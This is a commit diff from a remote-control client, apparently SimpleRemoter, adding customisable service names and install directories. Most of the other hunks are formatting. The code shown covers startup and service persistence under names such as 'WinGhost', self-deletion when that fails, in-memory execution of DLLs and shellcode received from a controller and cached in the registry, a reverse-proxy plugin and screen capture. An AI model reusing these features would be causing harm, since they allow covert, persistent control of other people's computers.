mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
Feature: Support customizing client name and install directory
This commit is contained in:
@@ -185,10 +185,16 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||
InitWindowsService({ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality." }, Log);
|
||||
InitWindowsService(NewService(
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||||
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
||||
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc;
|
||||
// 注册启动项
|
||||
int r = RegisterStartup("Windows Ghost", "WinGhost", !isService, g_SETTINGS.runasAdmin, Logf);
|
||||
int r = RegisterStartup(
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
||||
!isService, g_SETTINGS.runasAdmin, Logf);
|
||||
if (r <= 0) {
|
||||
BOOL s = self_del();
|
||||
if (!IsDebug) {
|
||||
@@ -517,8 +523,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
//准备第一波数据
|
||||
BOOL auth = FALSE;
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, auth);
|
||||
Manager = auth ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
|
||||
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
|
||||
Manager = auth ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
|
||||
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login))
|
||||
WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200);
|
||||
WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200);
|
||||
|
||||
@@ -34,11 +34,9 @@ std::vector<std::string> ParseMultiStringPath(const char* buffer, size_t size)
|
||||
const char* p = buffer;
|
||||
const char* end = buffer + size;
|
||||
|
||||
while (p < end)
|
||||
{
|
||||
while (p < end) {
|
||||
size_t len = strlen(p);
|
||||
if (len > 0)
|
||||
{
|
||||
if (len > 0) {
|
||||
paths.emplace_back(p, len);
|
||||
}
|
||||
p += len + 1;
|
||||
@@ -47,7 +45,8 @@ std::vector<std::string> ParseMultiStringPath(const char* buffer, size_t size)
|
||||
return paths;
|
||||
}
|
||||
|
||||
std::string GetExtractDir(const std::string& archivePath) {
|
||||
std::string GetExtractDir(const std::string& archivePath)
|
||||
{
|
||||
if (archivePath.size() >= 5) {
|
||||
std::string ext = archivePath.substr(archivePath.size() - 5);
|
||||
for (char& c : ext) c = tolower(c);
|
||||
@@ -58,7 +57,8 @@ std::string GetExtractDir(const std::string& archivePath) {
|
||||
return archivePath + "_extract";
|
||||
}
|
||||
|
||||
std::string GetDirectory(const std::string& filePath) {
|
||||
std::string GetDirectory(const std::string& filePath)
|
||||
{
|
||||
size_t pos = filePath.find_last_of("/\\");
|
||||
if (pos != std::string::npos) {
|
||||
return filePath.substr(0, pos);
|
||||
@@ -70,34 +70,32 @@ VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
switch (lpBuffer[0]) {
|
||||
case CMD_COMPRESS_FILES: {
|
||||
std::vector<std::string> paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1);
|
||||
std::vector<std::string> paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1);
|
||||
zsta::Error err = zsta::CZstdArchive::Compress(std::vector<std::string>(paths.begin() + 1, paths.end()), paths.at(0));
|
||||
if (err != zsta::Error::Success) {
|
||||
Mprintf("压缩失败: %s\n", zsta::CZstdArchive::GetErrorString(err));
|
||||
}
|
||||
else {
|
||||
std::string dir = GetDirectory(paths.at(0));
|
||||
SendFilesList((char*)dir.c_str());
|
||||
} else {
|
||||
std::string dir = GetDirectory(paths.at(0));
|
||||
SendFilesList((char*)dir.c_str());
|
||||
}
|
||||
break;
|
||||
}
|
||||
case CMD_UNCOMPRESS_FILES: {
|
||||
std::string dir;
|
||||
std::vector<std::string> paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1);
|
||||
std::vector<std::string> paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1);
|
||||
for (size_t i = 0; i < paths.size(); i++) {
|
||||
const std::string& path = paths[i];
|
||||
std::string destDir = GetExtractDir(path);
|
||||
zsta::Error err = zsta::CZstdArchive::Extract(path, destDir);
|
||||
if (err != zsta::Error::Success) {
|
||||
Mprintf("解压失败: %s\n", zsta::CZstdArchive::GetErrorString(err));
|
||||
} else {
|
||||
dir = GetDirectory(path);
|
||||
}
|
||||
else {
|
||||
dir = GetDirectory(path);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!dir.empty()) {
|
||||
SendFilesList((char*)dir.c_str());
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case COMMAND_LIST_FILES:// 获取文件列表
|
||||
|
||||
@@ -142,7 +142,8 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "Ser
|
||||
}
|
||||
|
||||
template <typename T = DllExecuteInfo>
|
||||
class DllExecParam {
|
||||
class DllExecParam
|
||||
{
|
||||
public:
|
||||
T *info;
|
||||
PluginParam param;
|
||||
@@ -184,14 +185,14 @@ public:
|
||||
};
|
||||
|
||||
typedef int (*RunSimpleTcpFunc)(
|
||||
const char* privilegeKey,
|
||||
long timestamp,
|
||||
const char* serverAddr,
|
||||
int serverPort,
|
||||
int localPort,
|
||||
int remotePort,
|
||||
int* statusPtr
|
||||
);
|
||||
const char* privilegeKey,
|
||||
long timestamp,
|
||||
const char* serverAddr,
|
||||
int serverPort,
|
||||
int localPort,
|
||||
int remotePort,
|
||||
int* statusPtr
|
||||
);
|
||||
|
||||
DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
{
|
||||
@@ -229,14 +230,14 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
FrpcParam* f = (FrpcParam*)user;
|
||||
if (proc) {
|
||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
if (r) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("代理端口", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("代理端口", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
}
|
||||
}
|
||||
SAFE_DELETE_ARRAY(user);
|
||||
@@ -246,7 +247,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
break;
|
||||
}
|
||||
if (info.CallType != CALLTYPE_FRPC_CALL)
|
||||
runner->FreeLibrary(module);
|
||||
runner->FreeLibrary(module);
|
||||
} else if (info.RunType == SHELLCODE) {
|
||||
bool flag = info.CallType == CALLTYPE_IOCPTHREAD;
|
||||
ShellcodeInj inj(dll->buffer, info.Size, flag ? "run" : 0, flag ? &pThread : 0, flag ? sizeof(PluginParam) : 0);
|
||||
@@ -568,46 +569,47 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
|
||||
}
|
||||
|
||||
template<typename T = DllExecuteInfo>
|
||||
BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) {
|
||||
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||
const int sz = 1 + sizeof(T);
|
||||
if (ulLength < sz) return FALSE;
|
||||
const T* info = (T*)(szBuffer + 1);
|
||||
const char* md5 = info->Md5;
|
||||
auto find = m_MemDLL.find(md5);
|
||||
if (find == m_MemDLL.end() && ulLength == sz) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
|
||||
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
|
||||
// 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码
|
||||
BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
{
|
||||
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||
const int sz = 1 + sizeof(T);
|
||||
if (ulLength < sz) return FALSE;
|
||||
const T* info = (T*)(szBuffer + 1);
|
||||
const char* md5 = info->Md5;
|
||||
auto find = m_MemDLL.find(md5);
|
||||
if (find == m_MemDLL.end() && ulLength == sz) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
|
||||
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
|
||||
// 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码
|
||||
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||
return TRUE;
|
||||
}
|
||||
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
|
||||
binFile bin(CLIENT_PATH);
|
||||
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
|
||||
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
|
||||
m_MemDLL[md5] = std::vector<BYTE>(bytes + sz, bytes + sz + info->Size);
|
||||
find = m_MemDLL.find(md5);
|
||||
}
|
||||
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
|
||||
if (info->Size == ulLength - sz) {
|
||||
if (md5[0]) {
|
||||
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
|
||||
binFile bin(CLIENT_PATH);
|
||||
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
|
||||
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
|
||||
Mprintf("Save DLL to registry: %s\n", md5);
|
||||
}
|
||||
data = szBuffer + sz;
|
||||
}
|
||||
if (data) {
|
||||
PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
|
||||
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
|
||||
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
|
||||
}
|
||||
}
|
||||
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
|
||||
binFile bin(CLIENT_PATH);
|
||||
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
|
||||
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
|
||||
m_MemDLL[md5] = std::vector<BYTE>(bytes + sz, bytes + sz + info->Size);
|
||||
find = m_MemDLL.find(md5);
|
||||
}
|
||||
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
|
||||
if (info->Size == ulLength - sz) {
|
||||
if (md5[0]) {
|
||||
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
|
||||
binFile bin(CLIENT_PATH);
|
||||
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
|
||||
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
|
||||
Mprintf("Save DLL to registry: %s\n", md5);
|
||||
}
|
||||
data = szBuffer + sz;
|
||||
}
|
||||
if (data) {
|
||||
PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
|
||||
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
|
||||
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
|
||||
}
|
||||
return data != NULL;
|
||||
}
|
||||
|
||||
@@ -741,7 +743,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
break;
|
||||
}
|
||||
case CMD_EXECUTE_DLL_NEW: {
|
||||
case CMD_EXECUTE_DLL_NEW: {
|
||||
if (sizeof(szBuffer) == 4) {
|
||||
Mprintf("CKernelManager ExecDLL failed: NOT x64 client\n");
|
||||
break;
|
||||
@@ -750,11 +752,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
char* user = info ? new char[400] : 0;
|
||||
if (user == NULL) break;;
|
||||
if (info) memcpy(user, info->Parameters, 400);
|
||||
if (!ExecDLL<DllExecuteInfoNew>(this, szBuffer, ulLength, user)) {
|
||||
Mprintf("CKernelManager ExecDLL failed: received %d bytes\n", ulLength);
|
||||
}
|
||||
break;
|
||||
}
|
||||
if (!ExecDLL<DllExecuteInfoNew>(this, szBuffer, ulLength, user)) {
|
||||
Mprintf("CKernelManager ExecDLL failed: received %d bytes\n", ulLength);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case TOKEN_PRIVATESCREEN: {
|
||||
char h[100] = {};
|
||||
@@ -960,7 +962,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
}
|
||||
|
||||
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) {
|
||||
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength > 8) {
|
||||
uint64_t n = 0;
|
||||
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
|
||||
@@ -994,8 +997,8 @@ int AuthKernelManager::SendHeartbeat()
|
||||
auto passCode = THIS_CFG.GetStr("settings", "Password", "");
|
||||
auto pwdHmac = THIS_CFG.GetStr("settings", "PwdHmac", "");
|
||||
uint64_t value = std::strtoull(pwdHmac.c_str(), nullptr, 10);
|
||||
strcpy_s(a.SN, SN.c_str());
|
||||
strcpy_s(a.Passcode, passCode.c_str());
|
||||
strcpy_s(a.SN, SN.c_str());
|
||||
strcpy_s(a.Passcode, passCode.c_str());
|
||||
memcpy(&a.PwdHmac, &value, 8);
|
||||
|
||||
BYTE buf[sizeof(Heartbeat) + 1];
|
||||
@@ -1005,19 +1008,19 @@ int AuthKernelManager::SendHeartbeat()
|
||||
return 0;
|
||||
}
|
||||
|
||||
void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) {
|
||||
void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength > sizeof(HeartbeatACK)) {
|
||||
HeartbeatACK n = { 0 };
|
||||
memcpy(&n, szBuffer + 1, sizeof(HeartbeatACK));
|
||||
m_nNetPing.update_from_sample(GetUnixMs() - n.Time);
|
||||
if (n.Authorized == TRUE) {
|
||||
Mprintf("======> Client authorized successfully.\n");
|
||||
// Once the client is authorized, authentication is no longer needed
|
||||
// So we can set exit flag to terminate the AuthKernelManager
|
||||
Mprintf("======> Client authorized successfully.\n");
|
||||
// Once the client is authorized, authentication is no longer needed
|
||||
// So we can set exit flag to terminate the AuthKernelManager
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
}
|
||||
}
|
||||
else if (ulLength > 8) {
|
||||
} else if (ulLength > 8) {
|
||||
uint64_t n = 0;
|
||||
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
|
||||
m_nNetPing.update_from_sample(GetUnixMs() - n);
|
||||
|
||||
@@ -132,7 +132,7 @@ public:
|
||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
|
||||
virtual ~CKernelManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength);
|
||||
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength);
|
||||
ThreadInfo* m_hKeyboard;
|
||||
ThreadInfo m_hThread[MAX_THREADNUM];
|
||||
// 此值在原代码中是用于记录线程数量;当线程数量超出限制时m_hThread会越界而导致程序异常
|
||||
@@ -218,7 +218,7 @@ public:
|
||||
class AuthKernelManager : public CKernelManager
|
||||
{
|
||||
public:
|
||||
bool m_bFirstHeartbeat = true;
|
||||
bool m_bFirstHeartbeat = true;
|
||||
|
||||
AuthKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
|
||||
: CKernelManager(conn, ClientObject, hInstance, kb, s)
|
||||
|
||||
@@ -338,12 +338,11 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, BOOL& isAuthKerne
|
||||
HANDLE hEvent2 = OpenEventA(SYNCHRONIZE, FALSE, std::string("EVENT_" + pid).c_str());
|
||||
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
|
||||
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
|
||||
if ((hEvent1 != NULL || hEvent2 != NULL) && fileInfo.nFileSizeLow > 16 * 1024 * 1024)
|
||||
{
|
||||
if ((hEvent1 != NULL || hEvent2 != NULL) && fileInfo.nFileSizeLow > 16 * 1024 * 1024) {
|
||||
Mprintf("Check event handle: %d, %d\n", hEvent1 != NULL, hEvent2 != NULL);
|
||||
isAuthKernel = TRUE;
|
||||
isAuthKernel = TRUE;
|
||||
SAFE_CLOSE_HANDLE(hEvent1);
|
||||
SAFE_CLOSE_HANDLE(hEvent2);
|
||||
SAFE_CLOSE_HANDLE(hEvent2);
|
||||
config*cfg = conn.pwdHash == masterHash ? new config : new iniFile;
|
||||
str = cfg->GetStr("settings", "Password", "");
|
||||
delete cfg;
|
||||
|
||||
@@ -28,18 +28,17 @@ unsigned int __stdcall ThreadLoader(LPVOID param)
|
||||
SelectDesktop(NULL);
|
||||
|
||||
nRet = arg.start_address(arg.arglist);
|
||||
}
|
||||
catch (...) {
|
||||
} catch (...) {
|
||||
};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive)
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive)
|
||||
{
|
||||
HANDLE hThread = INVALID_HANDLE_VALUE;
|
||||
THREAD_ARGLIST arg;
|
||||
@@ -133,8 +132,7 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
|
||||
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
@@ -149,8 +147,7 @@ HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights)
|
||||
|
||||
if (!currentDesk) {
|
||||
return hInputDesk;
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
// 通过桌面名称判断是否真正变化
|
||||
char oldName[256] = { 0 };
|
||||
char newName[256] = { 0 };
|
||||
@@ -195,18 +192,17 @@ HDESK SelectDesktop(TCHAR* name)
|
||||
if (name != NULL) {
|
||||
// Attempt to open the named desktop
|
||||
desktop = OpenDesktop(name, 0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
else {
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
} else {
|
||||
// No, so open the input desktop
|
||||
desktop = OpenInputDesktop(0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
|
||||
// Did we succeed?
|
||||
@@ -252,8 +248,7 @@ BOOL CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
int nRet = 0;
|
||||
try {
|
||||
nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
|
||||
}
|
||||
catch (...) {
|
||||
} catch (...) {
|
||||
Mprintf("[ERROR] CManager::Send catch an error \n");
|
||||
};
|
||||
return nRet;
|
||||
|
||||
@@ -30,11 +30,11 @@ typedef IOCPClient CClientSocket;
|
||||
typedef IOCPClient ISocketBase;
|
||||
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
|
||||
class CManager : public IOCPManager
|
||||
{
|
||||
|
||||
@@ -25,8 +25,7 @@ public:
|
||||
{
|
||||
for (size_t i = 0; i < numThreads; ++i) {
|
||||
workers.emplace_back([this] {
|
||||
while (true)
|
||||
{
|
||||
while (true) {
|
||||
std::function<void()> task;
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(this->queueMutex);
|
||||
@@ -226,13 +225,15 @@ public:
|
||||
return m_nScreenCount;
|
||||
}
|
||||
|
||||
virtual bool IsOriginalSize() const {
|
||||
return m_BitmapInfor_Full->bmiHeader.biWidth == m_BitmapInfor_Send->bmiHeader.biWidth &&
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight == m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
virtual bool IsOriginalSize() const
|
||||
{
|
||||
return m_BitmapInfor_Full->bmiHeader.biWidth == m_BitmapInfor_Send->bmiHeader.biWidth &&
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight == m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
}
|
||||
|
||||
virtual bool IsLargeScreen(int width, int height) const {
|
||||
return m_BitmapInfor_Send->bmiHeader.biWidth > width && m_BitmapInfor_Send->bmiHeader.biHeight > height;
|
||||
virtual bool IsLargeScreen(int width, int height) const
|
||||
{
|
||||
return m_BitmapInfor_Send->bmiHeader.biWidth > width && m_BitmapInfor_Send->bmiHeader.biHeight > height;
|
||||
}
|
||||
|
||||
virtual BOOL IsMultiScreenEnabled() const
|
||||
@@ -477,18 +478,15 @@ public:
|
||||
return offset; // 返回缓冲区的大小
|
||||
}
|
||||
|
||||
virtual int GetFrameID() const
|
||||
{
|
||||
virtual int GetFrameID() const {
|
||||
return m_FrameID;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstBuffer() const
|
||||
{
|
||||
virtual LPBYTE GetFirstBuffer() const {
|
||||
return m_FirstBuffer;
|
||||
}
|
||||
|
||||
virtual int GetBMPSize() const
|
||||
{
|
||||
virtual int GetBMPSize() const {
|
||||
assert(m_BitmapInfor_Send);
|
||||
return m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
||||
}
|
||||
@@ -603,7 +601,7 @@ public:
|
||||
uint8_t* encoded_data = nullptr;
|
||||
uint32_t encoded_size = 0;
|
||||
int err = m_encoder->encode(nextData, 32, 4* m_BitmapInfor_Send->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size);
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size);
|
||||
if (err) {
|
||||
return nullptr;
|
||||
}
|
||||
@@ -626,7 +624,7 @@ public:
|
||||
uint8_t* encoded_data = nullptr;
|
||||
uint32_t encoded_size = 0;
|
||||
int err = m_encoder->encode(nextData, 32, 4 * m_BitmapInfor_Send->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size);
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size);
|
||||
if (err) {
|
||||
return nullptr;
|
||||
}
|
||||
@@ -675,10 +673,11 @@ public: // 纯虚接口
|
||||
// 获取下一帧屏幕
|
||||
virtual LPBYTE ScanNextScreen() = 0;
|
||||
|
||||
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) {
|
||||
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap)
|
||||
{
|
||||
if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight)
|
||||
return bitmap;
|
||||
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -109,8 +109,8 @@ public:
|
||||
|
||||
// 9. 初始化 BITMAPINFO
|
||||
m_BitmapInfor_Full = ConstructBitmapInfo(32, m_ulFullWidth, m_ulFullHeight);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||
switch (strategy) {
|
||||
case 1:
|
||||
break;
|
||||
@@ -128,8 +128,8 @@ public:
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomFirst = nullptr;
|
||||
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomFirst = nullptr;
|
||||
|
||||
break;
|
||||
} while (true);
|
||||
@@ -154,14 +154,15 @@ public:
|
||||
if (d3dDevice) d3dDevice->Release();
|
||||
}
|
||||
|
||||
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) override {
|
||||
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) override
|
||||
{
|
||||
if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight) {
|
||||
memcpy(target, bitmap, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
return bitmap;
|
||||
}
|
||||
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
}
|
||||
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
}
|
||||
|
||||
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override
|
||||
{
|
||||
